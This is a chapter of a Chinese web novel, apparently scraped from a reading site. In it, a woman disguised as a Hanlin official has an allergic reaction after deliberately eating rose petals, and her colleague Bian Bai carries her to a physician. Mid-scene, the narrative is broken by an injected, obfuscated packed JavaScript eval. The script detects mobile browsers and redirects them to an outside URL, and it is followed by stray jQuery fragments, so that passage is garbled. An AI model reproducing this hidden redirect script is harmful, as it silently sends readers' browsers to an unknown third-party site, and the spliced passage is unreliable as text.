默认冷灰
24号文字
方正启体

15. 龙阳之好

作者:湖舟月本书字数:K更新时间:
    不得不说,卞白这手法是很不错的,沈沉英觉得自己原本酸堵的肩背都放松了不少。


    此刻正是穿着轻快的季节,隔着不算厚的衣袍,卞白能感受到瘦弱的肩颈处的柔软肌肤,手指稍微往上,指头难免剐蹭到沈沉英细白的颈子。


    但沈沉英沉浸在这份松快中,也忘记了这其中的不妥。


    “沈大人,舒服吗。”


    “舒服……”沈沉英以为他是良心发现,给自己下属一点福利,也是很大胆地接受了。


    “那今日就辛苦你帮我把我桌上的书籍都整理好,然后收进书阁里。”


    “好……”沈沉英话脱口而出,等她反应过来时,卞白已经收拾好东西走出大门了,而他的桌面是堆积如同小山一般的书籍。


    沈沉英看呆了,内心直呼此男手段了得,简直就是王八蛋嘛!


    ……


    这阵子因为沈沉英格外辛苦。


    宋妧佳总来翰林院找她,还每次都会带来漂亮的小点心。


    “这个是珍宝阁的蜜饯,可好吃了你尝尝。”


    “还有这个,七星苑的桃酥,酥软香甜,我一次可以吃两大块呢!”


    宋妧佳热情地把东西摆在她桌前,看她不好意思拿起来吃,干脆拿起一块塞进沈沉英嘴里。


    “宋……”沈沉英被零嘴堵住的口此刻说话含糊,“谢……谢。”


    虽然沈沉英知道自己是个女子,和宋妧佳不可能有什么,但这在外人眼里就是十分亲昵和容易被误会的举动了,她自己没关系,但要注意宋妧佳的名声。


    “宋小姐,谢谢你的好意,其实沈某不喜甜。”好不容易把点心吞咽下去的沈沉英终于可以完整地说出这句话,却是一句很违心的话。


    “胡说,我听卞白那个狗说你就像蜜罐子做的一样,屋子里都是糖果蜜饯。”


    “他真这么说的?”沈沉英瞪了一眼隔壁间的卞白。


    “是啊,他说你的住处粮食没几粒,这种甜食倒是不少。”宋妧佳笑道,还打趣她,“他那语气,说就跟和你同居了一样。”


    沈沉英刚刚被蜜饯甜了牙,刚喝进口的水就这么吐了出来,显得张皇无措。


    “你没事吧!”宋妧佳赶忙拿手帕出来,递给她。


    她接过帕子,刚要往身上擦,又觉得不合适,把帕子放在一边,拿起桌面的宣纸先初步处理衣服那些明显的水渍。


    不知道是不是她的错觉,她好像听到了一声轻笑,但转头看去,漂亮的少年郎沉静如玉,正专注地修改着她整理的册子。


    宋妧佳离开后,坐在离她不远处的谢与怀忍不住好奇问她:“你什么时候和宋学士女儿这么亲近了?”


    “你不会要成为他的乘龙快婿了吧。”


    听着谢与怀的调侃,沈沉英立马严肃否认道:“没有这事,还请谢大人不要多加揣测。”


    谢与怀也懂看人眼色,说不提就不提了,转而问起她要随同官家下江南一事。


    “前几日早朝,官家特点了你和卞白随行,连一些资深的官员都没机会呢。”谢与怀看着她,目光流露出一丝羡慕,“官家对你们还真是重视。”


    沈沉英不作过多言语,只是无声含笑。


    在这复杂的朝堂之上,她突然蒙受君恩,定然会遭人嫉恨,与其大张旗鼓宣扬,不如缄口不言,安心做好份内之事。


    “不过江南一带蚊虫多,贱内懂些医理,我让她给你做几个药草包驱蚊用吧。”


    沈沉英下意识要拒绝,但突然想起什么,又微笑着行拱手礼:“会不会太麻烦令正了。”


    “不会,她整日在家里闲着无事,最是喜欢研究这些小玩意儿了。”


    “那沈某就先谢过谢大人和令正了。”


    ……


    扶萃阁内。


    徐律身着素袍,端坐在映雪亭内。


    与他对立而坐的,是他的二叔徐营。


    “这次你突然回京,也不和家里人说一声的。”徐营也是前日才来到上京,受家中寡嫂所托,看望这个不太听话的侄子。


    “你娘为了你担惊受怕十几年,最不喜欢看到你参加武考,又去当了锦衣卫,整日刀尖舔血。”


    徐营膝下无子,整个徐家人丁稀薄,就剩下已逝大哥留下的独子,全家人都把他当进金珠珠般护着,爱着,怕他受一点苦。


    可徐律居然选择了当最危险的锦衣卫,这次还在执行任务过程中,被人往腹部捅了一刀。


    好在伤口处理及时,才不至于溃烂发炎,引起高热。


    但他还是因此在家休养了好一段时间才恢复如初。


    “你这次受伤一事,若是让你娘知道了,非得晕过去。”


    “别告诉她。”徐律嗓音紧涩,手掌覆在腰腹处,“我已然没有大碍,就别让母亲再伤神了。”


    “你也知道你母亲为你伤神得很。”徐营看着他,终于说出了此次前来的重点,“过些时日,你母亲打算来上京一趟,去宋家商议你和妧佳的婚事。”


    “你也老大不小了,早日成婚也好安她的心,省得她再日日操劳你的终身大事。”


    徐律嘴唇抿成一条线,没说什么。


    他其实不在乎和谁成婚,也不认为自己会如同话本子里那样,娶一个心爱之人为妻,只要母亲高兴,让他娶谁都行。


    但此刻他似乎有些动摇。


    “这件事,等我从江南回来再说吧。”


    “你要去江南?怎么伤刚好就又要出去。”徐营微拧着眉,语气担忧,“官家不是说让你这段时间好好休息吗?”


    “是我自请的。”


    徐营以为他是为了升迁,为了在官家面前挣面才这么拼命,忍不住训斥道:“徐家还不至于落寞到让你一个小辈天天浴血奋战,撑起门楣的。”


    徐律没有回答他的话,只是手指轻轻摩挲着要上缠绕着的干净纱布。


    刚刚女使进来为他贴身换药,他下意识地就将人推开,并冷声叫她出去换男使进来。


    弄得人家小女使眼泪汪汪,憋屈着走了。


    这一幕也刚刚好被徐营看到,他还责怪他说,这个女使可是他母亲给他选的,身世清白,人长得也水灵,以后是可以留在府上伺候主子夫人的。


    但明眼人都看得出来,这是给徐律找来学习人事的,但他愣是不开一点窍。


    “总之,你事事可以任性,但成婚不行。”


    徐营言尽于此,转身离开。


    走到门口时,见徐律没有送他,便悄悄问起府上的男使。


    “你们公子天天就是这样?身边都不让女人靠近的?”


    那男使愣了一下,好像是真的在认真思考这个问题。


    “公子素来喜静,身旁不习惯别人贴身伺候的。”


    “男使女使都一样。”


    听到他这话,徐营才算是送了口气,看来自己这个侄儿应该是没什么问题的,只是单纯对男女之事淡泊。


    “行,好生照顾公子,这次他下江南一定要照顾好了,别旧疾未愈,又添新伤的。”


    ……


    转眼间,便快到了下江南的日子。


    临行前几日,谢与怀携夫人来到沈沉英家中,给沈她送来了两个香包,上面绣着精致的兰草。


    谢与怀的夫人肖氏手是真的巧,也难怪大家都羡慕他,说他的妻子蕙质兰心,温柔大度,为上京人妇典范。


    她认真看了一眼肖氏,虽然没有摄人心魄的美貌,但五官是清秀的,举手投足间进退有度,不失大气。


    “这个香包可以驱散蚊虫,挂在床头也能安神助眠。”肖氏笑吟吟的,通过丈夫之手将香包递给她,“时间有点紧,做工也粗糙了些,还望沈大人不要嫌弃。”


    “怎么会,夫人做的很精巧,沈某谢过夫人了。”


    沈沉英当即便将香包凑到鼻子前闻了一下,随即挂在腰间。


    结果下一刻,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445751|185097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沈沉英就开始剧烈咳嗽,脖颈出泛起淡淡的红疹。


    这可把谢与怀夫妇吓到了。


    谢与怀连忙上前询问,但沈沉英已经说不出话来了,如同小鹿般琥珀色的眼睛此刻湿漉漉的,让人看着十分可怜。她控制不住地挠自己的脖子,原本白皙细颈上便出现一道道红痕。


    “不会是过敏吧?”肖氏眼尖看出异常,但碍于男女有别不敢为她诊脉。


    “先送去医馆吧。”


    谢与怀说着,就要把她背起来,奈何手都还没有碰到她的身体,就被不知道从哪里冒出来的卞白抢先一步,将她拦腰抱起。


    这种怀抱姿势极其暧昧,但放在两个大男人身上,又显得变了味儿,更像是婴孩抱法。


    谢与怀支支吾吾地还想说什么,就被卞白一道冷厉的视线噤住了声,那副神情就跟要把他生吞活剥了般恐怖。


    谢与怀也是第一次见到这样的卞白。


    沉默,冷脸,生人勿近。


    他小心翼翼抱着沈沉英离开,在门外叫了一辆马车,将人儿妥帖地放进去,然后自己再进去,让沈沉英的头靠在自己肩上。


    车夫回头看了一眼,露出了难以言喻的神色,内心也不禁感慨世风日下,有情男也是可以终成眷属的。


    但卞白没有理会车夫,轻微低哑的声线之中还带着一丝愠怒。


    “为什么要让自己中毒。”


    沈沉英颤抖着手出藏在袖子里的药丸,然后吞服了进口,这才慢慢缓过来,小口小口喘着气。


    她的额头冒着汗,因为怕把卞白的衣服弄湿了,所以刻意往旁边挪了挪,但卞白一只手紧紧禁锢着她的肩颈,让她无法躲闪。


    “你……你这么知道是我自己……”


    “早点我看到你在吃蔷薇花瓣。”卞白语气依旧很冷。


    “这又有什么奇怪之处……”


    “你一个院子里种满了各种花草,却唯独没有蔷薇。”


    卞白似乎是憋了很久的气,突然间靠近他,鼻尖蹭过她的鼻尖,唇与她的右耳就相隔毫厘:“为什么要以身试险?”


    沈沉英紧咬下唇,沉默了片刻,侧过头时耳垂与卞白的唇相擦,然后一双眼睛就那么冷静地望向他。


    “这和大人无关。”


    ……


    马车行驶至一处医馆。


    卞白不顾怀里人的抗拒,将沈沉英抱了下来,然后直直朝着里屋走去。


    “卞大人!卞白!”沈沉英有些急了,开始捶打少年坚实的臂膀,但自己力气实在弱,起不到一点作用,“你放我下来,我已经没事了!”


    可卞白根本不管她说了什么,硬是把她抱到了床上,然后用手堵上她还要再说些什么的唇,叫来一位女医者来把她的脉,为她诊治。


    “蔷薇性味寒凉,你的身体又偏虚,服用过量容易耗气伤津。”女医者又看了看她的面色和舌象,“脾胃也虚弱,平日里都没有按时用食吧。”


    沈沉英刚想摇头,一旁的卞白视线便如寒光扫来。


    “偶尔,偶尔……”沈沉英尴尬笑道,“有时候晚上看书看入迷,就忘记有没有吃了。”


    “那这习惯不太好,脾胃伤的容易,养起来可难。”女医者拿出纸笔,写了一份处方,递交给了沈沉英一旁的卞白,“每日午时饭后煎服,切忌与生冷之物一同服用。”


    “蜜饯,干果也少食,不好克化。”


    “嗯,我知晓了。”卞白应声,然后默默把沈沉英提起来,拉着她的手腕,将她带了出去。


    从风风火火抱进医馆,到十分霸道地将人拉走,整个过程都是在大庭广众之下的,愣是沈沉英这等不计较外头风言风语的,都开始有些不好意思了。


    她想挣脱开卞白,但卞白的手就好像一副铁拷,将她牢牢栓住,不得生出逃的心思。


    弄得她都有点想笑了:“卞大人,您再不松开我,整个大街上的人都会以为你有龙阳之好了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)